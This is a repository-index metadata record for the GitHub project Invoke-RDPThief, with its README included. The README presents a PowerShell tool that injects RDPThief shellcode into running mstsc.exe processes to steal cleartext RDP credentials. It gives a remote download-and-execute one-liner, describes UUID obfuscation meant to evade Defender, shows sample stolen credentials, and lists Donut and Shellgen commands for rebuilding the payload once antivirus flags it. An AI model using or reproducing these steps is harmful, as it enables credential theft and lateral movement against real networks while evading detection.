{"id":24532839,"url":"https://github.com/the-viper-one/invoke-rdpthief","last_synced_at":"2025-09-07T02:36:15.860Z","repository":{"id":273591438,"uuid":"866196578","full_name":"The-Viper-One/Invoke-RDPThief","owner":"The-Viper-One","description":"Inject RDPThief into memory with PowerShell.","archived":false,"fork":false,"pushed_at":"2025-01-21T20:12:33.000Z","size":330,"stargazers_count":64,"open_issues_count":0,"forks_count":8,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-07-22T02:54:08.522Z","etag":null,"topics":["injection","lateral-movement","pentesting","powershell","rdp"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/The-Viper-One.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-10-01T20:12:00.000Z","updated_at":"2025-05-31T11:30:59.000Z","dependencies_parsed_at":"2025-01-21T20:42:20.412Z","dependency_job_id":null,"html_url":"https://github.com/The-Viper-One/Invoke-RDPThief","commit_stats":null,"previous_names":["the-viper-one/invoke-rdpthief"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/The-Viper-One/Invoke-RDPThief","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-RDPThief","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-RDPThief/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-RDPThief/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-RDPThief/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/The-Viper-One","download_url":"https://codeload.github.com/The-Viper-One/Invoke-RDPThief/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-RDPThief/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":273988544,"owners_count":25203107,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-07T02:00:09.463Z","response_time":67,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["injection","lateral-movement","pentesting","powershell","rdp"],"created_at":"2025-01-22T10:18:32.565Z","updated_at":"2025-09-07T02:36:15.808Z","avatar_url":"https://github.com/The-Viper-One.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Invoke-RDPThief\n\nThis PowerShell script runs on a loop hunting for mstsc.exe processes. When any are found, the script will perform process injection on the target process and inject RDPthief into the process in order to capture cleartext credentials.\n\nRDPThief.dll was converted to shellcode with Donut, then converted to UUIDs with Shellgen to hide the shellcode in plainsight within the script. The UUIDs are then converted back into shellcode at runtime and injected whilst staying completley in memory.\n\n- Works against Defender as of 01/10/2024\n- Requires Administrative rights\n\n## Usage\n```powershell\n# Load into memory and execute\nIEX(New-Object System.Net.WebClient).DownloadString(\"https://raw.githubusercontent.com/The-Viper-One/Invoke-RDPThief/refs/heads/main/Invoke-RDPThief.ps1\")\n\n```\n## Output\n```\n[*] Hunting for mstsc...\n\n[+] Successfully injected into process 5496\n\n[+] Extracted Credentials\n\nServer   : DC01.Security.local\nUsername : SECURITY\\administrator\nPassword : Password123\n```\n\n## Payload creation\nThe payload in the script is ready to go however, the steps below can be followed if the payload is signatured in the future.\n\nConvert RDPThief.dll into shellcode with Donut.\n```\n.\\donut.exe -f:1 --input:C:\\RdpThief.dll -e 3 -b 1 -x 3 -k 2\n```\n\nConvert to UUID with Shellgen\n```powershell\nShellgen -RawFile \"C:\\loader.bin\" -OutputFormat UUID\n```\nTake the output and place it into the $UUIDs array in Invoke-RDPThief.ps1\n\nRDPThief: https://github.com/0x09AL/RdpThief\n\nDonut: https://github.com/TheWover/donut\n\nShellgen: https://github.com/Leo4j/ShellGen\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthe-viper-one%2Finvoke-rdpthief","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fthe-viper-one%2Finvoke-rdpthief","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthe-viper-one%2Finvoke-rdpthief/lists"}